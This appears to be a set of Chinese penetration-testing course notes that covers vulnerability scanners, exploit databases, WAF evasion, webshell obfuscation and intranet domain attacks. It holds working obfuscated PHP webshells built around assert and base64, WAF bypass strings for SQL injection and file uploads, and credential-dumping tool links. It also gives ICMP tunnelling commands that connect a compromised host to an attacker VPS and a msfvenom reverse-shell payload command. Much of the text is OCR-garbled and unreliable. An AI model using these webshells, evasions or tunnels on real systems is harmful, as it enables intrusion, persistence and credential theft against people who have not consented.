Acunetix-一款商业的Web漏洞扫描程序,它可以检查Web应用程序中的漏洞,如SQL注 入、跨站脚本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界 面,并且能够创建专业级的Wb站点安全审核报告。新版本集成了漏洞管理功能来扩展企 业全面管理、优先级和控制漏洞威胁的能力。

1
2
3
4
5
6
7
1、网站源码采用自己开发搭建
2、网站源码采用开源CMS搭建

常规漏洞 -自己开发搭建
常规漏洞 - 开源CMS 团队可以做这个事情 一般用工具直接找到漏洞不太现实(其他非源码漏除外)

冷门 小众 国内的CMS源码 用 AWVS不适合
1
2
3
4
5
Burp Suite,是用于攻击web应用程序的集成平台,包含了许多工具。Burp Suite为这些工具
设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应
的HTTP消息、持久性、认证、代理、日志、警报。

用到最多的工具感觉是,Web手必备

pocassist是一个Golang编写的全新开源漏洞测i试框架。实现对poc的在线编辑、管理、测
试。如果你不想撸代码,又想实现即0c的逻辑,又想在线对靶机快速测试,那就使用
pocassist吧。完全兼容xray,但又不仅仅是xTay。除了支持定义目录级漏洞poc,还支持服
务器级漏洞、参数级漏洞、U级漏洞以及对页面内容检测,如果以上还不满足你的需求,
还支持加载自定义脚本。

afrog是一款性能卓越。快速稳定、PoC可定制的漏洞扫猫(挖洞)工具,PoC涉及
CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行
等多种漏洞类型,帮助网络安全从业者快速验证并及时修复漏洞。

Xray是从长亭洞鉴核心引擎中提取出的社区版漏洞扫描神醒,支持主动、披动多种扫描方
式,自备言打平台、可以灵活定义POC,功能丰富,调用简单,支持Windows /macOs
几inuX多种操作系统,可以满足广大安全从业者的自动化Wb漏洞深测需求。

Goby是一款新的网络安全测试工具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,
它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并
快速的从一个验证入口点,切换到横向。能通过智能自动化方式,帮助安全入门者就悉靶
场攻防,帮助攻防服务者、渗透人员更快的拿下目标

Vulmap是一款web漏洞扫描和验证工具,可对webapps进行漏洞扫描,并且具备漏洞利用
功能,目前支s持的webapps包括activemq,flink,shiro,sol,struts2,tomcat,unomi,drupal,
elasticsearch,fastison,jenkins,nexus,weblogic,jboss,spring,thinkphp

真就差不多是,工具使用大战!

演示案例:

某APP-Web扫描-常规&联动-Burp&Awvs&Xray
Vulfocus-框架扫描-特定-Goby&Vulmap&Afrog&Pocassist
某资产特征-联动扫描-综合&调用-Goby&Awvs&Xray&Vulmap

项目资源:

https://www.ddosi.org/awvs14-6-log4j-rce/
https://github.com/chaitin/xray/releases
https://github.com/zan8in/afrog/releases
https://github.com/zhzyker/vulmap/releases
https://github.com/jweny/pocassist/releases
https://github.com/gobysec/Goby/releases

其他特扫:

1、GUI TOOLS V6.1by安全圈小王子-bugfixed
2、CMS漏洞扫描器名称支持的CMS平台
Droopescan
WordPress,Joomla,Drupal,Moodle,SilverStripe
CMSmap WordPress,Joomla,Drupal,Moodle
CMSeeK WordPress,Joomla,Drupal
WPXF WordPress
WPScan WordPress
WPSeku WordPress
WPForce WordPress
JoomScan Joomla
JoomlaVS Joomla
JScanner Joomla
Drupwn Drupal
Typo3Scan Typo3
致远OA综合利用工具
https://github.com/Summer177/seeyon_exp
seeyon exp
通达OA综合利用工具
https://github.com/xinyu2428/TDOA RCE TDOA RCE
蓝凌OA漏洞利用工具前台无条件RCE文件写入
https://github.com/yuanhaiGreg/LandrayExploit LandrayExploit
泛微OA漏洞综合利用脚本htps://github.com/z1 un/weaver_exp weaver_.eXp
锐捷网络EG易风关RCE批量安全检测
https://github.com/Tas9er/EgGateWayGetShell
EgGateWayGetShell
CMSmap针对流行cMS进行安全扫描的工具htps://github.com/Dionach/CMSmap
CMSmap
使用Go开发的WordPress漏洞扫描工具
https://github.com/blackbinn/wprecon
wprecon
一个Ruby框架,旨在帮助对VordPress系统进行渗透测试
https://github.com/rastating/wordpress-exploit-framework wordpress-exploit-framework
WPScan WordPress安全扫描器
https://github.com/wpscanteam/wpscan wpscan
VPForce Wordpress攻击套件https://github.com/nO0 py/WPForce
WPForce

某APP-Web扫描-常规&联动-Burp&Awvs&Xray
案例:配合联动对某APP进行安全检查评估
对比工具优缺点
-对比工具使用方法

Awvs:

任务添加&数据头部&代理模式&扫描模式等
example:http://demo.aisec.cn/

Xray:

主动扫描&被动扫描&POC资源等
.\xray_windows_amd64.exe webscan –basic-craller http://xx/–html-output tomcat.html
.\xray_windows_amd64.exe webscan–listen 127.0.0.1:7777–html-output app.html
主动扫描的缺点:

URL单点扫描&数据包扫描
1、相互联动性解决漏扫
2、相互联动性解决URL未探针
手工触发URL数据包&扫描器爬虫规则探针
Burp&Xray联动
1、Burp设置转发代理
2、Xray设置被动扫描
AwWs&Xray联动
1、AWWS设置代理扫猫
2、Xray设置被动扫描
Awvs&Burp&Xray联动
1、AwWS设置代理扫描
2、Bup设置转发代理
3、Xray设置被动扫描

Vulfocus-框架扫描-特定&核心-Goby&Vulmap&Afrog&Pocassist
案例:配合vulfocus进行某服务或中间件的安全检查评估

某资产特征-联动扫描-综合&调用-Goby&AWVS&Xray&Vulmap
案例:配合Goby&Fofa插件进行某中间件的安全检查评估
1、下载拓展插件
2、设置配置插件

这几节课主要讲工具的使用简单看一下 主要是实践

第73天 漏洞发现-操作系统服务中间件&Nuclei&Nessus.&Nexpose&Goby

知识点:

1、Goby简单介绍&使用说明
2.Nuclei简单介绍&使用说明
3、Nessus简单介绍&使用说明
4、Nexpose简单介绍&使用说明
5、掌握工具安装使用&原理&联动&适用
市面上有很多漏扫系统工具脚本,课程讲到的基本都是目前主流推荐的优秀项目!
具体项目:Burpsuite,AwWs,Xray,Goby,Afrog,Vulmap,Pocassist,Nessus,
Nuclei,Pentestkit,Nexpose,BP(HaE,ShiroScan.FastJsonScan,Log4j2Scan).

章节点:

1、漏洞发现-Web&框架层面
2、漏洞发现-服务&中间件层面
2、漏洞发现-APP&小程序层面
3、漏洞发现-PC操作系统层面

演示案例:

Nessus&Nexposei漏扫操作系统漏洞
Goby&Nuclei漏扫系统&服务&中间件漏洞
Nuclei漏扫特定资产&模版导入&最新漏洞
FofaMAP&Nuclei漏扫自动化特定项目漏洞

项目资源:

Goby:https://github.com/gobysec/Goby/releases
Nuclei:https://github.com/projectdiscovery/nuclei
Nessus:https://mp.weixin.qq.com/s/G-7Yu8sefH3Bm3GRtUo2EA
Nexpose:https://www.fujieace.com/hacker/rapid7-nexpose.html
FofaMAP:https://github.com/asaotomo/FofaMap

案例1-Nessus&Nexpose漏扫操作系统漏洞

安装使用

案例2-Goby&Nucle漏扫系统&服务&中间件漏洞

goby图形化界面
nuclei 可以自定义检测脚本
Nuclei -u http://xxxxxxxx

案例3-Nuclei漏扫特定资产&模版导入&最新漏洞

例子:CVE-2022-30525:ZyXl防火墙远程命令注入漏洞
FofaViewer:title==“USG FLEX 50(USG20-VPN)”
nuclei.exe -t Zyxel.yaml -I z.txt
Zyxel.yaml
id:CVE-2022-30525

案例4-FofaMAP户&Nucle漏扫自动化特定资产漏洞

第74天 漏洞发现-Web框架中间件插件&BurpSuite&浏览器&被动&主动探针

最近几天都是演示工具如何使用如:AWVS、Nessus、nexpose等综合性利用工具。
Burp插件和漏扫工具的区别

1
2
3
4
5
6
7
8
目标:
1、用其他的工具项目去检测漏洞

2、用Burpsuite抓包后带入插件检测
有部分目标需要特定的数据包访问的

1、登录状态和未登录状态
2、不同目标访问的数据包的不同

知识点:

1、浏览器插件&BurpSuite插件
2、Hack-Tools&pentestkit&fofa view等
3、Fiora&Spring&Fastison&Shiro&Log4等
市面上有很多漏扫系统工具蜘本,课程讲到的基本都是目前主流推荐的优秀项目!
具体项目:Burpsuite,Awvs,Xray,Goby,Afrog,Vulmap,Pocassist,Nessus,
Nuclei,Pentestkit,Nexpose,BP(HaE,ShiroScan.FastJsonScan,Log4j2Scan).

章节点:

1、漏洞发现-Web&框架层面
2、漏洞发现服务&中间件层面
3、漏洞发现-APP&小程序层面
4、漏洞发现PC操作系统层面

演示案例:

浏览器插件-辅助&资产&漏洞库-Hack-Tools&Fofa view&Pentestkit
BurpSuite插件-被动&特定扫描-Fiora&Spring&Fastison&Shiro&Log4j

浏览器插件-辅助&资产&漏洞库-Hack.Tools&Fofa view&Pentestkit
资产:https://github.com/fofapro/fofa_view
信息收集 需要fofa为登录状态

辅助:https://github.com/LasCc/Hack-Tools
工具箱包含有 反弹shell、系统命令、文件包含语句等

漏洞库:https://github.com/DenisPodgurskii/pentestkit
信息收集、漏洞探测、waf识别

BurpSuite插件-被动&特定扫描-Fiora&Spring&Fastjson&Shiro&Log4

https://github.com/bit4woo/Fiora
功能:联动nuclei进行单个或多个poc测试

https://github.com/metaStor/SpringScan
SpringScan 漏洞检测 Burp插件
https://github.com/Maskhe/FastjsonScan

https://github.com/bigsizeme/Log4j-check
被动lg4j扫描 支持RC1绕过 log4J burp被扫插件、CVE-2021-44228、支持RC1绕过、支持json数据类型、支持dnslog.cn和burp内置DNS、可配合JNDIExploit生成payload

https://github.com/projectdiscovery/nuclei-burp-plugin

这节主要讲的大部分都是对相关工具的使用。

第75天 漏洞利用-MSF框架&CVE&CNVD&POC&EXP监控&查找&整理

知识点:

1、MSF-漏洞利用框架使用
2、库查找CVE&CNVD&关键字
3、库整理-CVE&CNVD漏洞详情
4、新漏洞-框架或其他未集成利用
集成和未集成漏洞的利用思路,漏洞利用条件等。

漏洞发现后,一般会有那些关于漏洞的常见说明信息:
1、漏洞对象
2、漏洞编号
3、漏洞类型

漏洞资源:

today-cve
https://cassandra.cerias.purdue.edu/CVE_changes/today.html
cve官网
https://cve.mitre.org/
国家信息安全漏洞共享平台
https://www.cnvd.org.cn/
国家信息安全漏洞库
http://www.cnnvd.org.cn/

演示案例:

漏洞利用整理库-PocOrExp&CVE-CNVD
漏洞利用-查找库-SearchSploit&PoC-in-GitHub
漏洞利用-模块框架-MetaSploit-.Framework(MSF)
漏洞利用-杂乱工具-特定图像化渗透武器库(6.1)

漏同利用-整理库-PocOrExp&CVE-CNVD
https://github.com/ttonys/Scrapy-CVE-CNVD
https://github.com/ycdxsb/PocOrExp in Github

漏同利用-查找库-SearchSploit&PoC-in-GitHub
https://github.com/nomi-sec/PoC-in-GitHub
https://github.com/offensive-security/exploitdb

漏洞利用-模块框架-MetaSploit-Framework(MSF)

利用查找:

基于三个信息:

1、漏洞信息

2、漏洞编号

3、漏洞对象

利用漏洞:
MSF漏洞利用框架

集成大部分的安全漏洞利用模块,直接利用MSF对漏洞进行利用

但是不代表所有漏洞都有集成,漏洞类型或漏洞影响等原因造成未集成

1、最新漏洞

2、漏洞复现复杂

3、漏洞影响过小

https://www.metasploit.com/
安装下载
https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
简单使用:
https://blog.csdn.net/weixin_42380348/article/details/123549631

漏同利用-杂周工具特定图像化渗透武器库(V6.1)
https://mp.weixin.qq.com/s/Ha1R17KH-vssbr8cmYwl4Q

第76天 WAF攻防-信息收集&识别&被动探针&代理池&仿指纹&白名单

知识点:

1、WAF介绍&模式&识别&防护等
2、信息收集被动扫描&第三方接口
3、信息收集基于爬虫&文件目录探针
4、信息收集基于用户&代理池&白名单

章节点:

WF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段,

补充点:
1、什么是WAF?
Web Application Firewall(web应用防火墙),一种公认的说法是web应用防火墙通过执
行一系列针对HTTP/HTTPS的安全策路来专门为web应用提供保护的一款产品。
基本可以分为以下4种
软件型WAF
以软件的形式安装在服务器上面,可以接触到服务器上的文件,因此就可以检服务器上
是否有webshell,是否有文件被创建等。
硬件型WAF
以硬件形式部署在链路中,支持多种部暑方式。当串联到链路上时可以拦截恶意流量,在
旁路监听模式时只记录攻击但是不进行拦截,
云WAF
一般以反向代理的形式工作,通过配置后,使对网贴的请求数据优先经过WAF主机,在
WAF主机对数据进行过滤后再传给服务器
网站内置的WAF
就是来自网站内部的过滤,直接出现在网站代码中,比如说对输入的参数强制类转换啊,
对输入的参数进行教感词检汉则阿 什么的

演示案例:

信息收集被动扫描黑暗擎&三方接口
信息收集目录扫描-Python代理加载脚本
信息收集-工具扫描-Awvs&Xray&Goby内置

信息收集常见检测:
1、脚本或工具速度流量快
2、脚本或工具的指纹被识别
3、脚本或工具的检测Payload

信息收集常见方法:
1、延迟:解决请求过快封IP的情况
2、代理池:在确保速度的情况下解决请求过快封P的拦截
3、白名单:模拟白名单模拟WAF授权测试,解决速度及测试拦截
4、模拟用户:模拟真实用户数据包请求探针,解决WAF指纹识别

延迟设置扫描间隔

代理池使用proxifier代理

案例:安全狗存在UA白名单,即设置为百度或360爬虫的UA头有概率绕过封禁

信息收集被动扫描黑暗弱引擎&三方接口
黑暗引擎:Fofa Quake Shodan zoomeye0.zone等
其他接口:htps:/forum.ywhack.com/bountytips.php?getinfo

信息收集目录扫描Python代理加载脚本
import requests
import time

xray设置代理 修改配置文件 或者使用proxifier代理软件

goby设置代理

第七十七天WAF攻防-权限控制&代码免杀&异或运算&变量覆盖&混淆加密&传参

知识点:

1、脚本后门基础&原理
2、脚本后门查杀绕过机制
3、权限维持覆盖&传参&加密&异或等
代码块&传参数据&工具指纹等(表面&行为)
1、代码表面层免杀-ASP&PHP&JSP&ASPX等
2、工具行为层免杀菜刀&蚁剑&冰蝎&哥斯拉等

章节点:

WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段

补充点:

1、什么是WAF?
Veb Application Firewall(web应用防火墙),一种公认的说法是”web应用防火墙通过执
行一系列针对HTTP/HTTPS的安全策路来专门为wb应用提供保护的一款产品。
基本可以分为以下4种
软件型WAF
以软件的形式安装在服务器上面,可以接触到服务器上的文件,因此就可以检测服务器上
是否有webshell,是否有文件被创建等。
硬件型WAF
以硬件形式部署在链路中,支持多种部暑方式。当串联到链路上时可以拦截恶意流重,在
旁路监听模式时只记录攻击但是不进行拦截。
云WAF
一股以反向代理的形式工作,通过配置后,使对网站的请求数据优先经过WAF主机,在
WAF主机对数据进行过滤后再传给服务器
网站内置的WAF
就是来自网站内部的过滤,直接出现在网站代码中,比如说对输入的参数强制类转换啊,
对输入的参数进行敏感词检测测啊什么的

演示案例:

基础-脚本后门控制原理代码解释
原理-脚本后门查杀机制-函数&行为
代码-脚本后门免杀变异-覆盖&传参
代码-脚本后门免杀变异-异或&加密
拓展脚本后门脚本类型-JSP&ASPX

基础脚本后门控制原理代码解释
对比工具代码菜刀&蚁剑&冰蝎&哥斯拉等

原理脚本后门查杀机制函数&行为
对比WAF规则数匹配&工具指纹等

代码脚本后门免杀变异夏盖&传参
1.php传参带入

1
2
3
4
5
6
7
8
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['X'])):
?>

?a=ass
x=cGhwaW5mbygpOw==

2.php变量覆盖

1
2
3
4
5
<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>

x=cGhwaw5mbygpow==

#代码脚本后门兔杀变异异或&加密
3.php加密变异
http://www.phpjm.net
https://www.phpjms.com/
http://1.15.155.76.1234/
思路:将webshell加密,上传过程中则不会被检测出,然后传参时使用参数加密绕过参数检测

4.php异或运算 无字符webshell
import requests
import time
import threading.queue

拓展即本后门脚本类型JSP&ASPX

5.php脚本生成器
Webshell-venom
ASP PHP JSP ASPX

第78天 WAF攻防-荚刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知

知识点:

1、菜刀-流量&通讯&检测8绕过
2、冰竭-流量&通计8检测&绕过
3、哥斯拉-流量&通讯&检测&绕过
代码块&传参数据&工具指纹等表面&行为)
1、代码表面层免杀-ASP&PHP&JSP&ASPX等
2、工具行为层免杀菜刀&蚁剑&冰蝎&哥斯拉等

章节点:

WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。

可以分为下面三种检测的,即WAF、入侵检测平台、威胁感知平台。检测的技术可以分为正则匹配、机器语言、行为分析。一般那种开源的就是用的正则匹配,或者说一些比较垃圾的项目,因为用正则匹配的话比较容易绕过,使用加密、编码、分段等操作即可绕过。这个分段就是把一些特征流量分段发送,比如他检测POST这个东西,你可以中间加点,然后分成几个去表示。而行为分析则不看你过滤的函数,而是看这个代码的最终行为是什么,然后进行分析,如果过探测到行为比较危险就会拦截,而这个机器语言也是比较高级的东西,小迪也没解释清。一般商业的都是行为分析和机器语言去检测,开源的是正则。最终的发展方向呢也是往机器语言和行为分析发展。

正则表达式是 WAF 中最常用的技术之一,可用于实现基于模式匹配的规则和策略。

机器语言是计算机能够理解和执行的指令集,与高级编程语言不同,它使用二进制代码来表示操作和数据。在 WAF
中,机器语言可能用于处理和分析网络流量,以及执行特定的安全策略和行为分析。

行为分析是一种安全技术,旨在识别恶意活动和攻击,例如 SQL 注入、跨站脚本攻击等。在 WAF 中,行为分析可以通过检查 Web
请求的属性、参数、来源 IP 等信息,从而确定该请求是否是合法和安全的

演示案例:

菜刀-流量&绕过&特征&检测
waf告警日志中显示策略匹配到eval post

通过wireshark抓包也可以看到数据包内容

传入的值中xx变量经过php运行结果为base_64decode

1、版本

1
2014$P0ST=$REQUEST2016可以

2、特征:
数据包流量特征:
1,请求包,中:ua头为百度爬虫
2,请求体中存在eval,base64等特征字符
3,请求体中传递的payload为base64编码,并且存在面定的
QGluaV9zZXQolmRpc3BsYXIfZXJyb3JzliwiMClpO0BzZXRfdGItZV9saW1pdCgwKTtpZih
QSFBfVkVSUOIPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1IKDApO307
ZWNobygiWEBZlik7J

冰蝎-流量&绕过&特征&检测
哥斯拉-流量&绕过&特征&检测

冰竭流量&绕过&特征&检测

请求正文全部为AES加密(AES加密的特则含有///,大小写混杂,base64加密含有=)AES加密需要知道密匙、偏移量、加密模式等

1、介绍
冰蝎利用了服务器端的脚本语言加产功能,通讯的过程中,
消息体内容采用AES加密,基于特征值检测的安全产品无法查出。
2、通讯
以代码Key为密匙的AES加密解密过程
3、
特征:
1、User-agent:代码中定义
2、Pragma:no-cache
3.Content-Type:application/x-www-form-urlencoded
4、Accept
text/html,application/xhtml+xml.application/xml:q=0.9,image/webp,image/apng.*/;q=0.8.a
5.Accept-Encoding:gzip,deflate,br
6 Accept-Language:zh-CN,zh;q=0.9,en-US:q=0.8,en;q=0.7

哥斯拉流量&绕过&特征&检测
1、通讯加密见图
2、特征:
1.User-Agent Mozilla/5.0 (Windows NT 10.0;Win64;x64:rv:84.0)Gecko/20100101
Firefox/84.0
2.Accept text/html,application/xhtml+xml,application/xml:q=0.9,image/webp,/:q=0.8
3.Accept-Language:zh-CN,zh;q=0.8,zh-TW:q=0.7,zh-HK:q=0.5,en-US;q=0.3,en;q=0.2
4、Cookie:PHPSESSID=ut2a51prs0470jvfe2q502o44 cookiet最后面存在-个”,”

拓展 冰蝎流量特征

冰蝎
冰蝎其最大特点就是对交互流量进行AES对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测
1、通过密钥协商的过程中的一些特征来检测其他
老版冰蝎工具在连接Webshell的时候会存在一个密钥协商的过程,这个过程是纯明文的数据交换,冰蝎存在这样的特征:发起一共两次的密钥协商,通过比较两次密钥协商的返回包中内容的不同部分来获取其中的密钥。
在这个协商过程中,防护设备可以结合URL、请求包和返回包的内容以及头部信息来综合进行判断,这种类型检测的优势是这部分的流程是冰蝎内置的实现,攻击者不太好进行修改绕过。而劣势是在大流量的环境下很容易引起大量的误报。
2、通过Shell交互过程中的HTTP请求特征来检测
冰蝎在发送HTTP请求时存在一些特征,例如其工具中内置了17个User-Agent头,在用户没有自定义的情况下会随机选择一个发送。但是这些User-Agent头大部分是一些老版本的浏览器或设备。这个类型检测的优势是检测方式比较简单,但是在大流量的环境下很容易引起误报,一般使用多个特征相结合的方法来改善误报的情况,并且这部分的特征通常是一些弱特征,攻击者可以通过定制请求头、使用代理等方式修改冰蝎的请求包很轻易的来绕过这类的检测。
3、通过Webshell上传时的流量特征来检测
在真实的攻击场景下,攻击者通常是通过文件上传、文件写入等方式来写入冰蝎的Webshell,所以流量设备也可以通过检测攻击场景的数据包来发现冰蝎的存在。这部分的流量形式主要取决于Web应用,是攻击者不好控制的,而且通常都是以明文形式进行传输,所以比较易于检测。
但是这种检测方式在遇到非文件上传等漏洞时,有可能无法捕捉到Webshell的特征。
冰蝎3.0
从防守方的角度看,这些改动中对防御设备影响最大的是第1点,也就是说,3.0版本的冰蝎不在有密钥协商的过程,从原理上直接绕过了大量流量检测设备(大部分设备是通过握手的行为来检测冰蝎的流量)

蚁剑
1、编码器改造 蚁剑在数据包中实际上是将解码函数一同发送到服务端,那几个解码函数是没法加密的,所以产生一个很明显 的流量特征,蚁剑也支持使用者自定义编码器和解码器
2、请求头修改 蚁剑默认的数据包里都携带了特别明显的请求头信息:User-Agent: antSword/v2.1,对WAF来说这简直 是自报家门

总结

冰蝎改造将动态的AES密钥写死在webshell里,可以减少很多特征。
蚁剑就是将解码函数写死在webshell 里,也可以有效绕过WAF检测

第七十九天 WAF攻防-漏洞发现&协议&代理池&Goby&AWVS&Xray

知识点:

1、Http/s&Sock5协议
2、Awvs Xray&Goby代理
3、Pxoxifier进程代理使用
4、Safedog&BT&Aliyun防护

演示案例:

Awws漏扫-Sadedog-白名单-内置
Awws漏扫-BT&Aliyun-代理池-内置
Xray漏扫-BT&Aliyun-Proxifier-.进程
Goby漏扫-BT&Aliyun-Socket5-内置

在漏洞发现中,WAF会对三个方向进行过滤拦截:
1、速度流量问题
2、工具的指纹被识别
3、工具的检测Poc或Payload

Awvs漏扫-Sadedog-白名单-内置
加入白名单扫描,防Safedog拉黑IP

Awws漏扫-BT&Aliyun-代理池-内置

Xray漏扫-BT&Aliyun-Proxifier-.进程

proxifier添加代理服务器

添加代理规则 使得xray流量经过代理服务器访问目标站点

Goby漏扫-BT&Aliyun-Socket5-内置

对于不通过https对网站或操作系统进行信息收集的程序可以使用socket5代理进行流量转发

sqlmay设置代理设置随机UA头

第八十天 WAF攻防-漏洞利用&HPP污染&分块传输&垃圾数据

参考点:

#将MySQL注入函数分为几类
拆分字符串函数:mid、1eft、1pad等
编码函数:ord、hex、a3ci等
运算函数:±*/&^!1 ike rlike reg等
空格替换部分:09、0a、0b、0c、0d等
关键数据函数:user()、version()、database()等
然后将这些不同类型的函数组合拼接在一起

上传参数名解析:明确哪些东西能修政?
Content-Di3 position:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件MIME,视情况更改

演示案例:

安全狗-SQL注入&文件上传-知识点
安全狗-文件包含&代码执行-知识点
BT&Aliyun-SQL注入&文件上传-知识点
BT&Aliyun-文件包含&代码执行-知识点

安全狗-SQL注入&文件上传-知识点

SQL注入 https://www.cnblogs.com/cute-puli/p/11146625.html
关键字替换
使用like 代替 and
更换提交方式:
POST id=-1 union select 1,2,3–+

模拟文件上传传递数据
分块传输:更改数据请求格式
前提提交方式必须为POST
https://github.com/cOny1/chunked-coding-converter
HPP参数污染:id=1/**&id=-1号20 union号203e1ect号201,2,3号23*/

文件上传:换行解析&垃圾溢出&00干扰&=符号干扰&参数模拟
filename=a.php
filename=”a.php
filename=“a.php号%00”
垃圾数据;filename=“a.php”
无限filename;filename=“a,php”
filename==“a.php”
filename=“name=’uploadfile.php”6

filename=“Content-Disposition:form-data.php”
filename==“a.php”

BT&Aliyun-文件包含&代码执行-知识点
https://github.com/s0md3v/XSStrike
python xsstrike.py -u
http://test.xiaodi8.com/pikachu/vul/xss/xss reflected get.php?mes
sage=1&submit=submit”–proxy
txt=Sy=str replace(‘x’,‘’,‘pxhpxinxfo()’);assert ($y);&submit=8688
F응90응E4용BA응A4
文件包含:没什么好说的就这几种
…·/…1等

安全狗:
注入ss文件上传拦截
rce文件包含等其他不拦截
宝塔:
注入上传拦截
rce文件包含Xss等其他不拦截
其中拦截的是关键字
aliyun
拦截的CC速度和后门信息收集和权限维持阶段拦截
漏洞利用他不拦截默认的版本(升级版本没测试)

由于这段时间去打春秋云镜的内网靶场去了,所以就先看内网的了,后边就是先从内网的知识点开始。

第122天:内网安全-域信息收集&应用网络凭据&CS插件&Adfind&BloodHound

#知识点:

1、域产生原因

2、内网域的区别

3、如何判断在域内

4、域内常见信息收集

5、域内自动化工具收集

-局域网&工作组&域环境区别

-域环境信息收集-应用&网络&服务&凭据等

-自动化工具使用-CS 插件&Adfind&BloodHound

0x01

一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要

对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工使用;

因此,为了便于后期交接,大多网络管理员会做好一个系统镜像盘,统一安装所有的电

脑,并且在安装的时候设置惯用、甚至统一的密码。

0x02

因此,域中的计算机本地管理员账号,极有可能能够登陆域中较多的计算机,本地管理员

的密码在服务器上后期修改的概率,远低于在个人办公电脑上的概率,而域用户权限是较

低的,是无法在域成员主机上安装软件的,这将会发生下面的一幕:

某个域用户需要使用 viso 软件进行绘图操作,于是联系网络管理员进行安装,网络管理

员采用域管理员身份登录了域成员主机,并帮助其安装了 viso 软件,于是这个有计算机

基础的员工,切换身份登录到了本地计算机的管理员,后执行 mimikatz,从内存当中抓

取了域管理员的密码,便成功的控制了整个域。

0x03

因此,域渗透的思路就是:通过域成员主机,定位出域控制器 IP 及域管理员账号,利用

域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,

定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进

而拿下域控制器、渗透整个内网。

–当前机器角色的判断

–当前机器网络环境判断

–当前机器角色功能判断

网络环境-局域网&工作组&域环境

机器角色-个人 PC&文件服务器&邮件服务器等

角色功能-任务&端口&服务&密码&漏洞&配置等

网络环境-局域网-工作组&域环境

机器角色-个人PC&文件服务器&邮件服务器等

角色功能-任务&端口&服务&密码&漏洞&配置等

演示案例:

 常规信息类收集-应用&服务&权限等

 架构信息类收集-网络&用户&域控等

 关键信息类收集-密码&凭据&口令等

 自动化工具探针-插件&Adfind&BloodHound

#常规信息类收集-应用&服务&权限等

更多其他收集见上图命令表

systeminfo 详细信息

netstat -ano 端口列表

route print 路由表

net start 启动服务

tasklist 进程列表

schtasks 计划任务

ipconfig /all 判断存在域

net view /domain 判断存在域

net time /domain 判断主域

netstat -ano 当前网络端口开放

nslookup 域名 追踪来源地址

wmic service list brief 查询本机服务

net config workstation 查询当前登录域及登录用户信息

wmic startup get command,caption 查看已启动的程序信息

#架构信息类收集-网络&用户&域控等

net view /domain 查询域列表

net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦

用来判 断主域,主域一般用做时间服务器

net localgroup administrators 本机管理员【通常含有域用户】

net user /domain 查询域用户(当前域)

net group /domain 查询域工作组

net group “domain computers” /domain 查看加入域的所有计算机名

net group “domain admins” /domain 查询域管理员用户组和域管用户

net localgroup administrators /domain 查看域管理员

net group “domain controllers” /domain 查看域控

net accounts /domain 查看域密码策略

#关键信息类收集-密码&凭据&口令等

旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备

计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)

计算机各种协议服务口令获取-LaZagne(all),XenArmor(win),CS 插件

https://github.com/gentilkiwi/mimikatz/

https://github.com/AlessandroZ/LaZagne/

https://github.com/huntergregal/mimipenguin

https://xenarmor.com/allinone-password-recovery-pro-software/

主要介绍一下域是什么,有什么用,怎么去利用

第123天:内网安全-域防火墙&入站出站规则&不出网隧道上线&组策略对象同步

#知识点:

0、防火墙组策略对象 入规则严格,出规则宽松

1、OSI 七层协议模型

2、正反向监听器说明 我去连接你为正向

3、隧道技术分层协议

4、CS&MSF&控制上线

-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)

我个人使用的是stowaway,这里工具有很多,自己选择即可

-代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)

#系列点:

1、判断什么时候用代理

2、判断什么时候用隧道

3、判断出网和不出网协议

4、如何使用代理建立节点并连接

5、如何使用隧道技术封装协议上线

6、判断哪些代理或隧道情况选择放弃

演示案例:

 单机-防火墙-限制端口出入站

 单机-防火墙-限制协议出入站

 域控-防火墙-组策略对象同步

 域控-防火墙-组策略不出网上线

#单机-防火墙-限制端口出入站

熟悉常见主机配置不出网的方式

1、入站&出站&连接安全

2、域&专用&公网&状态

3、阻止&允许&其他配置

#单机-防火墙-限制协议出入站

熟悉常见主机配置不出网的方式

1、程序&端口&预定义&自定义

2、协议&TCP&UDP&ICMP&L2TP 等

#域控-防火墙-组策略对象同步

熟悉常见主机配置不出网的操作流程

操作:组策略管理-域-创建 GPO 链接-防火墙设置

更新策略:强制&命令&重启

命令:gpupdate/force

#域控-防火墙-组策略不出网上线

背景介绍:域控通过组策略设置防火墙规则同步后,域内用户主机被限制 TCP 出网,其

中规则为出站规则,安全研究者通过入站取得 SHELL 权限,需要对其进行上线控制。

思路:正向连接&隧道技术

如果是入站被限制呢?反向连接&隧道技术也可以解决(前提看限制的多不多)

ICMP 协议项目:

https://github.com/esrrhs/spp

https://github.com/bdamele/icmpsh

https://github.com/esrrhs/pingtunnel

1、CS-ICMP-上线

VPS:

./pingtunnel -type server

肉鸡:(管理器运行)

pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t

192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1

CS:

监听器 1:127.0.0.1 6666

监听器 2:192.168.46.66 7777

生成监听器 1 的 Stager 后门肉鸡执行

2、MSF上线
生成后门:
msfvenom p windows/meterpreter/reverse tcp HOST=127.0.0.1
LPORT=3333 -f exe > xd.exe
MS=启动监听:
